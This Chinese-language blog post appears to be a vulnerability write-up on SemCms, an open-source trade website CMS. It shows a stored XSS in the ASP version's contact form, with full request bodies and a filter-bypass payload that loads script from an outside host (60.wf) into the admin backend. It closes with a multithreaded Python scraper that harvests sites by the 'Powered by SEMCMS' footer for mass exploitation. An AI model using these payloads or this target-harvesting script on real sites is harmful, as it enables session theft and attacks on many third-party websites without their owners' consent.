简介 SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 、google、360 等主流浏览器。
SemCms【asp版】使用vbscript语言编写,结合iis运行。
SemCms【php版】使用php语言编写,结合apache,在window,或linux系统下运行。
SemCms采用国际通用utf-8编码编写。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一 网址如下: 我们分别对php版本(多语言),asp版,单页面系统进行 白盒测试 php版本,asp版本以及单页面系统均被笔者审计处漏洞,全部通杀 首先我们队 ,asp版进行审计 页面首页如下
后台页面如下
找到其中一个页面
首先我们测试title title=111111"><img>&content=222222222&Company=&Name=33333333&mail=44444%40qq.com&Phone=5555555&Fax=&Region=66666666666&Home=&yzm=5298&Submit=Submit
其中"> 为闭合掉前面的标签 <img> 构造出一个img标签, 通过这样测试,来看是否能插入html标签从而判断是否有XSS漏洞,而非普通的弹窗,要知道弹窗也只是为了测试是否有漏洞而已,而在很多时候 站点都把 alert,confirm,... 等字符过滤了
可以看到,img标签已经生成,看样子好像是没有做任何过滤,那么我们直接构造下payload试试 <script src="http://60.wf/c"></script>
发送的数据包就为 title=1111<script src="http://60.wf/c"></script>11&content=222222&Company=&Name=2233333&mail=344444444%40qq.com&Phone=5555555&Fax=&Region=666666&Home=6677777&yzm=3757&Submit=Submit 我们到后台查看试试
可以看到 首先 对方把空格过滤, // 被过滤 / 被过滤 虽然把这些过滤了,但是还有可以绕过这些过滤机制去构造payload的
既然空格被过滤,那么我们就尽可能不适用空格, / 被过滤,那么我们就尝试编码绕过 我们输入img标签来构造
<img/src='1'onerror=document.body.appendChild(document.createElement("script")).src="60.wf"> 然后查看页面返回的内容看看
可以看到,页面内容就成功被执行了, 现在就差如何绕过 // 两个关键字符了 这时候我们可以尝试对其编码绕过 <img/src='1'onerror=document.body.appendChild(document.createElement("script")).src="http%3A%2F%2F60.wf%2Fc> 然后输入进去
但是却没有加载我们的站点,是为什么呢? 我们查看对方的源码,通过查看对方的源码得知
我们的 " 号被实体编码了, 既然" 不能用,那么我们用 ‘ 引号试试 <img/src='1'onerror=document.body.appendChild(document.createElement('script')).src='http%3A%2F%2F60.wf'>
将我们的代码插入进去
title=333"><img/src='1'onerror=document.body.appendChild(document.createElement('script')).src='http%3A%2F%2F60.wf'>&content=444444444&Company=&Name=555555&mail=56666%40qq.com&Phone=18879203781&Fax=&Region=3333&Home=44444444&yzm=4073&Submit=Submit
可以看到,此时已经成功的加载了我们的站点 笔者搭建php环境的时候一直出现问题,所以php审计的话就留到下期把~我们先提取特征码,进行批量爬去 semcms页面 我们只需要在百度上输入 Powered by SEMCMS
那么我们就写个采集器批量采集,挖掘漏洞提交漏洞平台刷分 import requests #导入requests库 import threading #导入多线程 from queue import Queue #导入队列 from bs4 import BeautifulSoup #导入beautiful import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import random import re headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", 'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection' : 'keep-alive', 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'X-Forwarded-For':'120.239.169.74' } #定义头部 class Spider(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self._queue=queue def run(self): while not self._queue.empty(): url=self._queue.get() try: r=requests.get(url=url,headers=headers,verify=False) f=open("baidu.html","a+",encoding="utf-8") f.write(r.text) f.close() soup=BeautifulSoup(r.text,"lxml") url_list=soup.select(".t > a") for url in url_list: real_url=url['href'] r=requests.get(real_url) print(r.url) f=open("baidu-0day.txt","a+",encoding="utf-8") f.write(r.url+"\n") f.close() except Exception as e: print(e) def main(): Threads=[] threads_count=30 #设置线程数 queue=Queue() for i in range(1,100,10): #一共爬去10页,如果是爬去30页,那么就应该把100变为3000 queue.put("https://www.baidu.com/s?wd=Powered by SEMCMS&pn=%s" % str(i)) for i in range(threads_count): Threads.append(Spider(queue)) for i in Threads: i.start() for i in Threads: i.join() if __name__=="__main__": main() 这样就批量爬去了带有漏洞的网站
|